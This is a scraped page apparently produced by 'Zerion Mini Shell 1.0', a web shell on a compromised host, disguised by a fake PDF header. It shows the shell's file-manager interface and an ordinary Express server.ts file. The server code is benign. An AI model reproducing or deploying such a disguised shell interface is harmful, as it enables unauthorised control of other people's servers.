%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home2/rezakur1/muakita.rezakurnia.com/Mua-Kita-Web/
Upload File :
Create Path :
Current File : /home2/rezakur1/muakita.rezakurnia.com/Mua-Kita-Web/server.ts

import express from 'express';
import path from 'path';
import { fileURLToPath } from 'url';
import apiRouter from './src/server/api.ts';
import dotenv from 'dotenv';

dotenv.config();

const __filename = fileURLToPath(import.meta.url);
const __dirname = path.dirname(__filename);

const app = express();
const port = process.env.PORT || 3000;

app.use(express.json());

// API Endpoints
app.use('/api', apiRouter);

// Serve static files in production
const distPath = path.join(__dirname, 'dist');
app.use(express.static(distPath));

// Fallback all other client requests to index.html (React Router fallback)
app.get('*', (req, res) => {
  res.sendFile(path.join(distPath, 'index.html'));
});

app.listen(port, () => {
  console.log(`[MuaKita Server] Running on http://localhost:${port}`);
});

Zerion Mini Shell 1.0